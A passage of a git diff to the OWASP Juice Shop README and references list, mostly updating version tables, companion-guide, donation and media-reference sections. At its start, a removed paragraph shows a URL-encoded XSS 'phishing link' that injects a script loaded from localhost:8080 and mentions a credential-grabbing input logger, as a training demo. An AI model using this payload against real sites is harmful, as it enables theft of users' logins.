the juice-shop and the -shake-logger. Assume you received and (of course) clicked -[this inconspicuous phishing link](http://localhost:3000/#/search?q=%3Cscript%3Evar%20js%20%3Ddocument.createElement%28%22script%22%29;js.type%20%3D%20%22text%2Fjavascript%22;js.src%3D%22http:%2F%2Flocalhost:8080%2Fshake.js%22;document.body.appendChild%28js%29;varhash%3Dwindow.location.hash;window.location.hash%3Dhash.substr%280,8%29;%3C%2Fscript%3Eapple) -and login. Apart from the visual/audible effect, the attacker also -installed [an input logger](http://localhost:8080/logger.php) to grab -credentials! This could easily run on a 3rd party server in real life! +| node.js | Supported | Tested | [Packaged Distributions](#packaged-distributions) | [Docker images](#docker-container) from `master` | [Docker images](#docker-container) from `develop` | +|:--------|:---------------------|:-------------------|:--------------------------------------------------|:-------------------------------------------------|:--------------------------------------------------| +| 19.x | :x: | :x: | | | | +| 18.x | :heavy_check_mark: | :heavy_check_mark: | Windows (`x64`), MacOS (`x64`), Linux (`x64`) | | | +| 17.x | (:heavy_check_mark:) | :x: | | | | +| 16.x | :heavy_check_mark: | :heavy_check_mark: | Windows (`x64`), MacOS (`x64`), Linux (`x64`) | `latest` (`linux/amd64`, `linux/arm64`) | `snapshot` (`linux/amd64`, `linux/arm64`) | +| 15.x | (:heavy_check_mark:) | :x: | | | | +| 14.x | :heavy_check_mark: | :heavy_check_mark: | Windows (`x64`), MacOS (`x64`), Linux (`x64`) | `latest-arm` (`linux/arm/v7`) | `snapshot-arm` (`linux/arm/v7`) | +| <14.x | :x: | :x: | | | | -> You can also find a recording of this attack in action on YouTube: -> [:tv:](https://www.youtube.com/watch?v=L7ZEMWRm7LA) +Juice Shop is automatically tested _only on the latest `.x` minor version_ of each node.js version mentioned above! +There is no guarantee that older minor node.js releases will always work with Juice Shop! +Please make sure you stay up to date with your chosen version. +### Troubleshooting -## Additional Documentation +[![Gitter](http://img.shields.io/badge/gitter-join%20chat-1dce73.svg)](https://gitter.im/bkimminich/juice-shop) -### Pwning OWASP Juice Shop [![](https://img.shields.io/leanpub/book/pages/juice-shop.svg)](https://leanpub.com/juice-shop) [![](https://img.shields.io/leanpub/book/sold/juice-shop.svg)](https://leanpub.com/juice-shop) [![Write Goodreads Review](https://img.shields.io/badge/goodreads-write%20review-382110.svg)](https://www.goodreads.com/review/edit/33834308) +If you need help with the application setup please check our +[our existing _Troubleshooting_](https://pwning.owasp-juice.shop/appendix/troubleshooting.html) +guide. If this does not solve your issue please post your specific problem or question in the +[Gitter Chat](https://gitter.im/bkimminich/juice-shop) where community members can best try to help you. -This is the official companion guide to the OWASP Juice Shop. It will -give you a complete overview of the vulnerabilities found in the -application including hints how to spot and exploit them. In the -appendix you will even find complete step-by-step solutions to every -challenge. [Pwning OWASP Juice Shop](https://leanpub.com/juice-shop) is -published with -[GitBook](https://www.gitbook.com/book/bkimminich/pwning-owasp-juice-shop) -under -[CC BY-NC-ND 4.0](https://creativecommons.org/licenses/by-nc-nd/4.0/) -and is available **for free** in PDF, Kindle and ePub format. You can -also -[browse the full content online](https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content)! +:stop_sign: **Please avoid opening GitHub issues for support requests or questions!** -[![Pwning OWASP Juice Shop Cover](https://raw.githubusercontent.com/bkimminich/pwning-juice-shop/master/cover_small.jpg)](https://leanpub.com/juice-shop) +### Official companion guide -### Slide Decks +[![Write Goodreads Review](https://img.shields.io/badge/goodreads-write%20review-49557240.svg)](https://www.goodreads.com/review/edit/49557240) -* [Introduction Slide Deck](http://bkimminich.github.io/juice-shop) in - HTML5 -* [PDF of the Intro Slide Deck](http://de.slideshare.net/BjrnKimminich/juice-shop-an-intentionally-insecure-javascript-web-application) - on Slideshare +OWASP Juice Shop comes with an official companion guide eBook. It will give you a complete overview of all +vulnerabilities found in the application including hints how to spot and exploit them. In the appendix you will even +find complete step-by-step solutions to every challenge. Extensive documentation of +[custom re-branding](https://pwning.owasp-juice.shop/part1/customization.html), +[CTF-support](https://pwning.owasp-juice.shop/part1/ctf.html), +[trainer's guide](https://pwning.owasp-juice.shop/appendix/trainers.html) +and much more is also included. -## Troubleshooting [![Gitter](http://img.shields.io/badge/gitter-join%20chat-1dce73.svg)](https://gitter.im/bkimminich/juice-shop) +[Pwning OWASP Juice Shop](https://leanpub.com/juice-shop) is published under +[CC BY-NC-ND 4.0](https://creativecommons.org/licenses/by-nc-nd/4.0/) +and is available **for free** in PDF, Kindle and ePub format on LeanPub. You can also +[browse the full content online](https://pwning.owasp-juice.shop)! -If you need help with the application setup please check the -[TROUBLESHOOTING.md](TROUBLESHOOTING.md) or post your specific problem -or question in the -[official Gitter Chat](https://gitter.im/bkimminich/juice-shop). +[![Pwning OWASP Juice Shop Cover](https://raw.githubusercontent.com/bkimminich/pwning-juice-shop/master/cover_small.jpg)](https://leanpub.com/juice-shop) -## Contributing [![GitHub contributors](https://img.shields.io/github/contributors/bkimminich/juice-shop.svg)](https://github.com/bkimminich/juice-shop/graphs/contributors) [![Waffle.io - Columns and their card count](https://badge.waffle.io/bkimminich/juice-shop.svg?columns=all)](https://waffle.io/bkimminich/juice-shop) [![JavaScript Style Guide](https://img.shields.io/badge/code%20style-standard-brightgreen.svg)](http://standardjs.com/) [![Crowdin](https://d322cqt584bo4o.cloudfront.net/owasp-juice-shop/localized.svg)](https://crowdin.com/project/owasp-juice-shop) [![Bountysource Activity](https://img.shields.io/bountysource/team/juice-shop/activity.svg)](https://www.bountysource.com/teams/juice-shop) +## Contributing -We are always happy to get new contributors on board! Please check the -following table for possible ways to do so: +[![GitHub contributors](https://img.shields.io/github/contributors/bkimminich/juice-shop.svg)](https://github.com/bkimminich/juice-shop/graphs/contributors) +[![JavaScript Style Guide](https://img.shields.io/badge/code%20style-standard-brightgreen.svg)](http://standardjs.com/) +[![Crowdin](https://d322cqt584bo4o.cloudfront.net/owasp-juice-shop/localized.svg)](https://crowdin.com/project/owasp-juice-shop) +![GitHub issues by-label](https://img.shields.io/github/issues/bkimminich/juice-shop/help%20wanted.svg) +![GitHub issues by-label](https://img.shields.io/github/issues/bkimminich/juice-shop/good%20first%20issue.svg) -| :question: | :bulb: | -|:------------------------------------------------------------------------------------------------------|:-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| Found a bug? Crashed the app? Broken challenge? Found a vulnerability that is not on the Score Board? | [Create an issue](https://github.com/bkimminich/juice-shop/issues) or [post your ideas in the chat](https://gitter.im/bkimminich/juice-shop) | -| Want to help with development? Pull requests are highly welcome! | Please refer to the [_Contribute to development_](https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part3/contribution.html) and [_Codebase 101_](https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part3/codebase.html) chapters of our companion guide ebook | -| Want to help with internationalization? | Find out how to join our [Crowdin project](https://crowdin.com/project/owasp-juice-shop) in [the _Helping with translations_ documentation](https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part3/translation.html) | -| Anything else you would like to contribute? | Write an email to owasp_juice_shop_project@lists.owasp.org or bjoern.kimminich@owasp.org | +We are always happy to get new contributors on board! Please check +[CONTRIBUTING.md](CONTRIBUTING.md) to learn how to +[contribute to our codebase](CONTRIBUTING.md#code-contributions) or the +[translation into different languages](CONTRIBUTING.md#i18n-contributions)! ## References -Did you write a blog post, magazine article or do a podcast about or -mentioning OWASP Juice Shop? Or maybe you held or joined a conference -talk or meetup session, a hacking workshop or public training where this -project was mentioned? +Did you write a blog post, magazine article or do a podcast about or mentioning OWASP Juice Shop? Or maybe you held or +joined a conference talk or meetup session, a hacking workshop or public training where this project was mentioned? -Add it to our ever-growing list of [REFERENCES.md](REFERENCES.md) by -forking and opening a Pull Request! +Add it to our ever-growing list of [REFERENCES.md](REFERENCES.md) by forking and opening a Pull Request! ## Merchandise * On [Spreadshirt.com](http://shop.spreadshirt.com/juiceshop) and - [Spreadshirt.de](http://shop.spreadshirt.de/juiceshop) you can get - some swag (Shirts, Hoodies, Mugs) with the official OWASP Juice Shop - logo + [Spreadshirt.de](http://shop.spreadshirt.de/juiceshop) you can get some swag (Shirts, Hoodies, Mugs) with the official + OWASP Juice Shop logo * On [StickerYou.com](https://www.stickeryou.com/products/owasp-juice-shop/794) - you can get variants of the OWASP Juice Shop logo as single stickers - to decorate your laptop with. They can also print magnets, iron-ons, - sticker sheets and temporary tattoos. + you can get variants of the OWASP Juice Shop logo as single stickers to decorate your laptop with. They can also print + magnets, iron-ons, sticker sheets and temporary tattoos. The most honorable way to get some stickers is to -[contribute to the project](https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part3/contribution.html) -by fixing an issue, finding a serious bug or submitting a good idea for -a new challenge! +[contribute to the project](https://pwning.owasp-juice.shop/part3/contribution.html) +by fixing an issue, finding a serious bug or submitting a good idea for a new challenge! -We're also happy to supply you with stickers if you organize a meetup or -conference talk where you use or talk about or hack the OWASP Juice -Shop! Just -[contact the mailing list](mailto:owasp_juice_shop_project@lists.owasp.org) -or [the project leader](mailto:bjoern.kimminich@owasp.org) to discuss -your plans! ! +We're also happy to supply you with stickers if you organize a meetup or conference talk where you use or talk about or +hack the OWASP Juice Shop! Just +[contact the mailing list](mailto:owasp_juice_shop_project@lists.owasp.org) +or [the project leader](mailto:bjoern.kimminich@owasp.org) to discuss your plans! ## Donations -### PayPal [![PayPal](https://www.paypalobjects.com/en_US/i/btn/btn_donate_SM.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=paypal%40owasp%2eorg&lc=BM&item_name=OWASP%20Juice%20Shop%20Project&item_number=OWASP%20Foundation&no_note=0¤cy_code=USD&bn=PP%2dDonationsBF) - -PayPal donations via above button go to the OWASP Foundations and are -earmarked for "Juice Shop". This is the preferred and most convenient -way to support the project. - -### Credit Card (through RegOnline) +[![](https://img.shields.io/badge/support-owasp%20juice%20shop-blue)](https://owasp.org/donate/?reponame=www-project-juice-shop&title=OWASP+Juice+Shop) -OWASP hosts a -[donation form on RegOnline](https://www.regonline.com/Register/Checkin.aspx?EventID=1044369). -Refer to the -[Credit card donation step-by-step](https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part3/donations.html#credit-card-donation-step-by-step) -guide for help with filling out the donation form correctly. +The OWASP Foundation gratefully accepts donations via Stripe. Projects such as Juice Shop can then request reimbursement +for expenses from the Foundation. If you'd like to express your support of the Juice Shop project, please make sure to +tick the "Publicly list me as a supporter of OWASP Juice Shop" checkbox on the donation form. You can find our more +about donations and how they are used here: -### Liberapay [![Liberapay receiving](https://img.shields.io/liberapay/receives/bkimminich.svg)](https://liberapay.com/bkimminich/donate) - -### Crypto Currency - -[![Bitcoin](https://img.shields.io/badge/bitcoin-1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm-orange.svg)](https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm) -[![Dash](https://img.shields.io/badge/dash-Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW-blue.svg)](https://explorer.dash.org/address/Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW) -[![Ether](https://img.shields.io/badge/ether-0x0f933ab9fcaaa782d0279c300d73750e1311eae6-lightgrey.svg)](https://etherscan.io/address/0x0f933ab9fcaaa782d0279c300d73750e1311eae6) + ## Contributors @@ -332,16 +309,19 @@ The OWASP Juice Shop core project team are: - [Björn Kimminich](https://github.com/bkimminich) aka `bkimminich` ([Project Leader](https://www.owasp.org/index.php/Projects/Project_Leader_Responsibilities)) + [![Keybase PGP](https://img.shields.io/keybase/pgp/bkimminich)](https://keybase.io/bkimminich) - [Jannik Hollenbach](https://github.com/J12934) aka `J12934` - [Timo Pagel](https://github.com/wurstbrot) aka `wurstbrot` For a list of all contributors to the OWASP Juice Shop please visit our [HALL_OF_FAME.md](HALL_OF_FAME.md). -## Licensing [![license](https://img.shields.io/github/license/bkimminich/juice-shop.svg)](LICENSE) +## Licensing + +[![license](https://img.shields.io/github/license/bkimminich/juice-shop.svg)](LICENSE) -This program is free software: you can redistribute it and/or modify it -under the terms of the [MIT license](LICENSE). OWASP Juice Shop and any -contributions are Copyright © by Bjoern Kimminich 2014-2019. +This program is free software: you can redistribute it and/or modify it under the terms of the [MIT license](LICENSE). +OWASP Juice Shop and any contributions are Copyright © by Bjoern Kimminich & the OWASP Juice Shop contributors +2014-2022. -![Juice Shop Logo](https://raw.githubusercontent.com/bkimminich/juice-shop/develop/frontend/src/assets/public/images/JuiceShop_Logo_400px.png) +![Juice Shop Logo](https://raw.githubusercontent.com/bkimminich/juice-shop/master/frontend/src/assets/public/images/JuiceShop_Logo_400px.png) diff --git a/REFERENCES.md b/REFERENCES.md index 1103f40db9e..230503203f5 100644 --- a/REFERENCES.md +++ b/REFERENCES.md @@ -1,14 +1,13 @@ -# References +# References [![Mentioned in Awesome AppSec](https://awesome.re/mentioned-badge.svg)](https://github.com/paragonie/awesome-appsec) -Did you write a blog post, magazine article or do a podcast about or -mentioning OWASP Juice Shop? Add it to this file and open a PR! The same -goes for conference or meetup talks, workshops or trainings you did -where this project was mentioned or used! +Did you write a blog post, magazine article or do a podcast about or mentioning OWASP Juice Shop? Add it to this file +and open a PR! The same goes for conference or meetup talks, workshops or trainings you did where this project was +mentioned or used! > :bulb: indicates resources that contain _hints for solving challenges_ > of the OWASP Juice Shop. These are supposed to be helpful whenever you > get stuck. :godmode: indicates resources that _spoiler entire -> challenge solutions_ so you might not want to view them before +> challenge solutions_, so you might not want to view them before > tackling these challenges yourself! :mega: marks short friendly shout > outs. Finally, the :dollar: bill marks commercial resources. @@ -17,81 +16,122 @@ where this project was mentioned or used! * [Heroku Button of the Month](https://hello.heroku.com/webmail/36622/679286305/8049a634b1a01b0aa75c0966325856dc9a463b7f1beeb6a2f32cbb30248b5bc6) in November 2017 ([:camera:](https://twitter.com/owasp_juiceshop/status/930917114948587526)) +* [Heroku Button of the Month](https://hello.heroku.com/webmail/36622/844098776/9fe33b8eda9eb79bca7ee569888b1874) + in March 2019 + ([:camera:](https://twitter.com/owasp_juiceshop/status/1110641064673710080)) ## Web Links ### Pod- & Webcasts -* [HackerSploit](https://www.youtube.com/channel/UC0ZTPkdxlAKf-V33tqXwi3Q) - Youtube channel: - * [How To Install OWASP Juice Shop](https://youtu.be/tvNKp1QXV_8) - * [Web App Penetration Testing - #13 - CSRF (Cross Site Request Forgery)](https://youtu.be/TwG0Rd0hr18) - :bulb: - * [Web App Penetration Testing - #14 - Cookie Collection & Reverse Engineering](https://youtu.be/qtr0qtptYys) - :bulb: - * [Web App Penetration Testing - #15 - HTTP Attributes (Cookie Stealing)](https://youtu.be/8s3ChNKU85Q) - :bulb: - * [OWASP Juice Shop - SQL Injection](https://youtu.be/nH4r6xv-qGg) - :godmode: +* [OWASP Spotlight - Project 25 - OWASP Juice Shop](https://www.youtube.com/watch?v=--50rE76EeA) by Vandana Verma with + Björn Kimminich +* [Visual application security testing with ZAP and Simon Bennetts #DemoDays](https://youtu.be/4xBJsRNV9ds) by [GitHub](https://www.youtube.com/channel/UC7c3Kb6jYCRj4JOHHZTxKsQ) with Simon Bennetts :mega: +* [Exploiting an SSRF vulnerability](https://www.youtube.com/watch?v=OvwNa5CN5yc) by [PinkDraconian](https://www.youtube.com/channel/UCmXwpkCXmIKjoRLMsq9I3RA) :bulb: +* [OWASP Spotlight - Project 20 - OWASP Security Pin](https://www.youtube.com/watch?v=GnSddCV4UwM) by Vandana Verma with + Timo Pagel :mega: +* [People | Process | Technology Podcast](https://soundcloud.com/owasp-podcast/) + (fka "OWASP 24/7 Podcast"): + * [OWASP Flagship Projects - Episode 02](https://soundcloud.com/owasp-podcast/owasp-flagship-projects-episode-02) + * [Less than 10 Minutes Series: The Juice Shop Project](https://soundcloud.com/owasp-podcast/less-than-10-minutes-series-the-juice-shop-project) +* [Learn Web App Security Penetration Testing with Juice Shop \[Free\]](https://youtu.be/ShUTDUYEMWA) + by + [Gerald Auger - Simply Cyber](https://www.YouTube.com/channel/UCG-48Ki-b6W_siaUkukJOSw) +* [Web security for web developers with Zaproxy by Simon Bennetts](https://youtu.be/54UV2_JwcIY) + with + [Eddie Jaoude](https://www.YouTube.com/channel/UC5mnBodB73bR88fLXHSfzYA) + :mega: +* [ZAP in Ten](https://www.alldaydevops.com/zap-in-ten) with Simon Bennetts + * [ZAP in Ten: ADDO Workshop Section 1 - Introduction](https://play.vidyard.com/BAmiaxyzS3g2BCgX2vbVvV) + :mega: + * [ZAP in Ten: ADDO Workshop Section 3 - Packaged Scans](https://play.vidyard.com/iT5C1onahsh3YhQi5SRnLL) + :mega: + * [ZAP in Ten: ADDO Workshop Section 4 - Intro to Authentication](https://play.vidyard.com/zwWm4qMRc8wD2KAgozvC5t) + :mega: + * [ZAP in Ten: ADDO Workshop Section 6 - Standard Auth with JuiceShop](https://play.vidyard.com/igf3A8UdZ6QAGiFjEpLH86) + * [ZAP in Ten: ADDO Workshop Section 8 - JuiceShop SSO Authentication](https://play.vidyard.com/TMcBcuhyPt57sUqPcJUtpv) +* 15min video tutorial by + [Nick Malcolm](https://www.YouTube.com/channel/UCgU77NClL2pLS92viQro6yA): + [OWASP Juice Shop 101](https://youtu.be/8ZYoe0xu6QY) :godmode: * [Application Security Podcast](https://securityjourney.com/application-security-podcast): - * Episode 4.17: - [The Joy of the Vulnerable Web: JuiceShop (S04E17)](https://securityjourney.com/blog/the-joy-of-the-vulnerable-web-juiceshops04e17/) - * Episode 4.20: - [Security Culture Hacking: Disrupting the Security Status Quo (S04E20)](https://www.securityjourney.com/blog/security-culture-hacking-disrupting-the-security-status-quo-s04e20/) - :mega: + * Episode 7.2: + [Jannik Hollenbach — Multijuicer: JuiceShop with a side of Kubernetes](https://podcast.securityjourney.com/jannik-hollenbach-multijuicer-juiceshop-with-a-side-of-kubernetes/) + ([YouTube](https://youtu.be/3M6EMDKIAYs)) + * Episode 5.21: + [Season 5 Finale — A cross section of #AppSec (S05E21)](https://podcast.securityjourney.com/season-5-finale-a-cross-section-of-appsec/) + (contains + [5 minute AppSec: Björn Kimminich — JuiceShop](https://www.securityjourney.com/blog/bjorn-kimminich-juiceship-5-minute-appsec/) + entirely) + * Episode 5.20: + [Ronnie Flathers - Security programs big and small](https://podcast.securityjourney.com/ronnie-flathers-security-programs-big-and-small/) + :mega: + * Episode 5.9: + [The new JuiceShop, GSOC, and Open Security Summit](https://securityjourney.com/blog/bjorn-kimminich-the-new-juiceshop-gsoc-and-open-security-summit/) + * 5 minute AppSec: + [Björn Kimminich — JuiceShop](https://www.securityjourney.com/blog/bjorn-kimminich-juiceship-5-minute-appsec/) + * Episode 4.27: + [Season 4 Finale (S04E27)](https://www.securityjourney.com/blog/season-4-finale-s04e27/) + (snippet from + [4.17](https://securityjourney.com/blog/the-joy-of-the-vulnerable-web-juiceshops04e17/)) + * Episode 4.20: + [Security Culture Hacking: Disrupting the Security Status Quo (S04E20)](https://www.securityjourney.com/blog/security-culture-hacking-disrupting-the-security-status-quo-s04e20/) + :mega: + * Episode 4.17: + [The Joy of the Vulnerable Web: JuiceShop (S04E17)](https://securityjourney.com/blog/the-joy-of-the-vulnerable-web-juiceshops04e17/) +* Webcast recording on [7 Minute Security](https://7ms.us): + [DIY $500 Pentest Lab - Part 1](https://www.YouTube.com/watch?v=7qnaR6ZmJzA) + :mega: * Recorded live streams from the [Twitch](https://aka.ms/DevSlopTwitch)/[Mixer](https://aka.ms/DevSlop-Mixer) [OWASP DevSlop](https://devslop.co/) Show: - * [OWASP DevSlop E12 - Juice Shop with Björn Kimminich](https://www.twitch.tv/videos/337620852) - ([Youtube](https://youtu.be/KEYWRtGNDEc)) :godmode: + * [OWASP DevSlop E12 - Juice Shop with Björn Kimminich](https://www.twitch.tv/videos/337620852) + ([YouTube](https://youtu.be/KEYWRtGNDEc)) :godmode: * Webcast recording on [Signal Sciences](https://vimeo.com/signalsciences): [Secure Development Lessons from Purposely Insecure Applications](https://vimeo.com/241965102/40f6b1778b) * [7 Minute Security](https://7ms.us) Podcast: - * Episode #318: - [Interview with Bjorn Kimminich of OWASP Juice Shop](https://7ms.us/7ms-318-interview-with-bjorn-kimminich-of-owasp-juice-shop/) - * Shout outs in various episodes: - [#342](https://7ms.us/7ms-342-interview-with-matt-mccullough/), - [#310](https://7ms.us/7ms-310/), - [#309](https://7ms.us/7ms-309-password-cracking-in-the-cloud-part-2/), - [#306](https://7ms.us/7ms-306-a-peek-into-the-7ms-mail-bag-part-2/) - and [#282](https://7ms.us/7ms-282-a-peek-into-the-7ms-mail-bag/) - :mega: - * Episode #234: - [7MS #234: Pentesting OWASP Juice Shop - Part 5](https://7ms.us/7ms-234-pentesting-owasp-juice-shop-part5/) - ([Youtube](https://www.youtube.com/watch?v=lGVAXCfFwv0)) :godmode: - * Episode #233: - [7MS #233: Pentesting OWASP Juice Shop - Part 4](https://7ms.us/7ms-233-pentesting-owasp-juice-shop-part-4/) - ([Youtube](https://www.youtube.com/watch?v=1hhd9EwX7h0)) :godmode: - * Episode #232: - [7MS #232: Pentesting OWASP Juice Shop - Part 3](https://7ms.us/7ms-232-pentesting-owasp-juice-shop-part-3/) - ([Youtube](https://www.youtube.com/watch?v=F8iRF2d-YzE)) :godmode: - * Episode #231: - [7MS #231: Pentesting OWASP Juice Shop - Part 2](https://7ms.us/7ms-231-pentesting-owasp-juice-shop-part-2/) - ([Youtube](https://www.youtube.com/watch?v=523l4Pzhimc)) :godmode: - * Episode #230: - [7MS #230: Pentesting OWASP Juice Shop - Part 1](https://7ms.us/7ms-230-pentesting-owasp-juice-shop-part-1/) - ([Youtube](https://www.youtube.com/watch?v=Cz37iejTsH4)) :godmode: - * Episode #229: - [7MS #229: Intro to Docker for Pentesters](https://7ms.us/7ms-229-intro-to-docker-for-pentesters/) - ([Youtube](https://youtu.be/WIpxvBpnylI?t=407)) + * Episode #403: + [7MOOMAMA - Juice Shop Song + Backdoors and Breaches Jingle](https://7ms.us/7ms-403-7moomama-juice-shop-song-backdoors-and-breaches-jingle/) + * Episode #318: + [Interview with Bjorn Kimminich of OWASP Juice Shop](https://7ms.us/7ms-318-interview-with-bjorn-kimminich-of-owasp-juice-shop/) + * Shout outs in various episodes: + [#347](https://7ms.us/7ms-347-happy-5th-birthday-to-7ms/), + [#342](https://7ms.us/7ms-342-interview-with-matt-mccullough/), + [#310](https://7ms.us/7ms-310/), + [#309](https://7ms.us/7ms-309-password-cracking-in-the-cloud-part-2/), + [#306](https://7ms.us/7ms-306-a-peek-into-the-7ms-mail-bag-part-2/) + and [#282](https://7ms.us/7ms-282-a-peek-into-the-7ms-mail-bag/) + :mega: * Video tutorial about automating web application security scans with [OWASP ZAP](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) using Juice Shop as the tested app: - [All you need is Zaproxy - Security Testing for WebApps Made Easy](https://www.youtube.com/watch?v=AQX84p9NhqY) - * [Example integration as a Docker Compose script](https://github.com/Soluto/webdriverio-zap-proxy) - * [Scan results of the example integration](https://jsfiddle.net/62aedL6n/) -* Interview on [OWASP 24/7](https://soundcloud.com/owasp-podcast) - Podcast: - [Less than 10 Minutes Series: The Juice Shop Project](https://soundcloud.com/owasp-podcast/less-than-10-minutes-series-the-juice-shop-project) + [All you need is Zaproxy - Security Testing for WebApps Made Easy](https://www.YouTube.com/watch?v=AQX84p9NhqY) + * [Example integration as a Docker Compose script](https://github.com/Soluto/webdriverio-zap-proxy) + * [Scan results of the example integration](https://jsfiddle.net/62aedL6n/) ### Blogs & Articles +* Article on [Cobalt.io Developer Best Practices](https://developer.cobalt.io/bestpractices/): [Validate User Input](https://developer.cobalt.io/bestpractices/input-validation/) +* Blog post (:de:) on [Dev-Insider](https://www.dev-insider.de/): [OWASP Juice Shop lädt zum Hacken ein](https://www.dev-insider.de/owasp-juice-shop-laedt-zum-hacken-ein-a-968485/) :godmode: +* Blog post on [OWASP.org](https://owasp.org) by Björn Kimminich: + [OWASP Juice Shop v10.0.0 released](https://owasp.org/2020/03/17/juice-shop-v10.html) +* [20+ Free Resources To Legally Practice Your Ethical Hacking Skills](https://blog.elearnsecurity.com/free-resources-to-legally-practice-ethical-hacking.html?utm_source=twitter&utm_medium=social&utm_campaign=eh_resources_blogpost) + on [eLearnSecurity](https://blog.elearnsecurity.com/) :mega: +* Blog post on + [The Daily Swig - Cybersecurity news and views](https://portswigger.net/daily-swig): + [OWASP security projects showcased at All Day DevOps conference](https://portswigger.net/daily-swig/owasp-security-projects-showcased-at-all-day-devops-conference) +* Blog post on [klarsen.net - A Maker's Blog](https://klarsen.net): + [OWASP Juice Shop SQLi](https://klarsen.net/python/owasp-juice-shop-sqli/) +* White paper by Kelley Bryant: + [OWASP: Application Security's Best Friend](https://drive.google.com/file/d/0ByCGDrCX7bx7dnB0TGJJSnNzRmhtUUE4U1RfR3d0YVl4RHFr/view) +* Article (:es:) on Medium by + [Elzer Pineda](https://medium.com/@elzerjp): + [Null Byte Attack Juice Shop y algo mas!!](https://medium.com/@elzerjp/null-byte-attack-juice-shop-y-algo-mas-2c6d271b2fd5) + :godmode: * Blog post on [Omer Levi Hevroni's blog](https://www.omerlh.info/): [Hacking Juice Shop, the DevSecOps Way](https://www.omerlh.info/2018/12/23/hacking-juice-shop-the-devsecops-way/) * Blog post on [Jannik Hollenbach's blog](https://medium.com/@j12934): - [Testing out ModSecurity CRS with OWASP JuiceShop - ](https://medium.com/@j12934/testing-out-modsecurity-crs-with-owasp-juiceshop-649830932365) + [Testing out ModSecurity CRS with OWASP JuiceShop](https://medium.com/@j12934/testing-out-modsecurity-crs-with-owasp-juiceshop-649830932365) * OWASP Portland Chapter meeting writeup on the [Daylight Blog](https://thedaylightstudio.com/blog): [Vulnerability Hunting Practice Using OWASP Juice Shop](https://thedaylightstudio.com/blog/2018/11/20/vulnerability-hunting-practice-using-owasp-juice-shop) @@ -103,17 +143,17 @@ where this project was mentioned or used! :godmode: * Blog posts on [DevelopSec - Developing Better Security](https://www.developsec.com/): - * [Installing OWASP JuiceShop with Docker](https://www.developsec.com/2018/05/10/installing-owasp-juiceshop-with-docker/) - ([Youtube](https://www.youtube.com/watch?v=ftS8I7WeKtw)) - * [Installing OWASP JuiceShop with Heroku](https://www.developsec.com/2018/05/15/installing-owasp-juiceshop-with-heroku/) - ([Youtube](https://www.youtube.com/watch?v=umrLbJkJRN0)) - * [Burp Extension – Juice Shop Routes](https://www.developsec.com/2018/05/18/burp-extension-juice-shop-routes/) - ([Youtube](https://www.youtube.com/watch?v=o628SfvwHp0)) :godmode: + * [Installing OWASP JuiceShop with Docker](https://www.developsec.com/2018/05/10/installing-owasp-juiceshop-with-docker/) + ([YouTube](https://www.YouTube.com/watch?v=ftS8I7WeKtw)) + * [Installing OWASP JuiceShop with Heroku](https://www.developsec.com/2018/05/15/installing-owasp-juiceshop-with-heroku/) + ([YouTube](https://www.YouTube.com/watch?v=umrLbJkJRN0)) + * [Burp Extension – Juice Shop Routes](https://www.developsec.com/2018/05/18/burp-extension-juice-shop-routes/) + ([YouTube](https://www.YouTube.com/watch?v=o628SfvwHp0)) :godmode: * Blog posts on [Jason Haley - Ramblings from an Independent Consultant](http://www.jasonhaley.com/): - * [How to Setup OWASP Juice Shop on Azure (Part 1 of 3)](http://www.jasonhaley.com/post/How-to-Setup-OWASP-Juice-Shop-on-Azure-%28Part-1-of-3%29) - * [Setup OWASP Juice Shop in Web App for Containers (Part 2 of 3)](http://www.jasonhaley.com/post/Setup-OWASP-Juice-Shop-in-Web-App-for-Containers-%28Part-2-of-3%29) - * [Setup OWASP Juice Shop in Azure Container Instances (Part 3 of 3)](http://www.jasonhaley.com/post/Setup-OWASP-Juice-Shop-in-Azure-Container-Instances-%28Part-3-of-3%29) + * [How to Setup OWASP Juice Shop on Azure (Part 1 of 3)](http://www.jasonhaley.com/post/How-to-Setup-OWASP-Juice-Shop-on-Azure-%28Part-1-of-3%29) + * [Setup OWASP Juice Shop in Web App for Containers (Part 2 of 3)](http://www.jasonhaley.com/post/Setup-OWASP-Juice-Shop-in-Web-App-for-Containers-%28Part-2-of-3%29) + * [Setup OWASP Juice Shop in Azure Container Instances (Part 3 of 3)](http://www.jasonhaley.com/post/Setup-OWASP-Juice-Shop-in-Azure-Container-Instances-%28Part-3-of-3%29) * Blog post on [Josh Grossman's blog](https://joshcgrossman.com): [Setting up an OWASP Juice Shop CTF](https://joshcgrossman.com/2018/03/15/setting-up-an-owasp-juice-shop-ctf/) * Blog post on [Mozilla Hacks](https://hacks.mozilla.org): @@ -126,21 +166,13 @@ where this project was mentioned or used! [OWASP Juice Shop Vulnerable Webapp](https://stuartwintertear.net/owasp-juice-shop-vulnerable-webapp) ([Peerlyst cross-post](https://www.peerlyst.com/posts/owasp-juice-shop-vulnerable-webapp-stuart-winter-tear)) * Blog posts on [OWASP Summit 2017](https://owaspsummit.org): - * [Juice Shop v4.0.0 Live Release](https://owaspsummit.org/2017/06/15/Juice-Shop-Live-Release-v4.html) - * [Juice Shop's call to pre-summit action](https://owaspsummit.org/2017/05/27/Juice-Shops-call-to-pre-summit-action.html) + * [Juice Shop v4.0.0 Live Release](https://owaspsummit.org/2017/06/15/Juice-Shop-Live-Release-v4.html) + * [Juice Shop's call to pre-summit action](https://owaspsummit.org/2017/05/27/Juice-Shops-call-to-pre-summit-action.html) * Vulnerable website collection on [Bonkers About Tech](https://www.bonkersabouttech.com): [40+ Intentionally Vulnerable Websites To (Legally) Practice Your Hacking Skills](https://www.bonkersabouttech.com/security/40-intentionally-vulnerable-websites-to-practice-your-hacking-skills/392) * Hacking-session writeup on [Testhexen](http://testhexen.de): [Learning Application Security – Fun with the Juice Shop](http://testhexen.de/?p=117) -* Blog post (:myanmar:) on [LOL Security](http://location-href.com/): - [Juice Shop 